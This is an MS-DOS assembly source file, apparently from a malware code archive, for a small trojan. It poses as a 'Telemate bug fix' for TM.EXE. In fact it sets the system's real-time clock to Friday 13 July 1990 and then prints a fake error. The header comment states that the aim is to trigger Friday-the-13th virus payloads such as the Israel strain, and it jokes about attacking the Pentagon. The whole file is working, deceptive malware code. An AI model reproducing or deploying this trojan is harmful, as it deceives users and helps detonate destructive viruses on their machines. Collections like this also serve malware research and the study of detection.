MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.friday.asm

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2021-01-12 23:44:11 +00:00
;-------------------------------------------------------------------;
; Simple little program to change the date to July 13th, 1990 ;
; Which just happens to be a Friday...what a coincidence.... ;
; This should be great fun if you have a virus or a program that ;
; goes *BOOM* on Friday the 13th, such as the Israel strain ;
; Have fun, and remember, I'm not responsible if you get your lazy ;
; ass busted while trying to bring down the damn Pentagon ;
; Kryptic Night - SMC - RaCK - U<< - PhD ;
;-------------------------------------------------------------------;
CODE SEGMENT
Assume CS:code,DS:code
ORG 100h
start: Jmp begin
text1 db ' Telemate bug fix for version 3.0+$ ' ;Bogus filler text
text2 db ' TM.EXE fixed!$ ' ;Bogus filler text
text3 db 07h,'Error! Cannot alter TM.EXE$ ' ;Printed after change
Begin proc NEAR
mov ah,05h ;Function 5 - Set Real Time Clock
mov cx,1990h ;What century
mov dx,0713h ;Month/day
int 1ah ;Execute
mov ah,09h ;Funtion 9 - Print string <end in $>
lea dx,text3 ;What text to print
int 21h ;Execute function 09
int 20h ;Quit .COM file
begin endp
CODE ENDS ;End segment
END start ;End program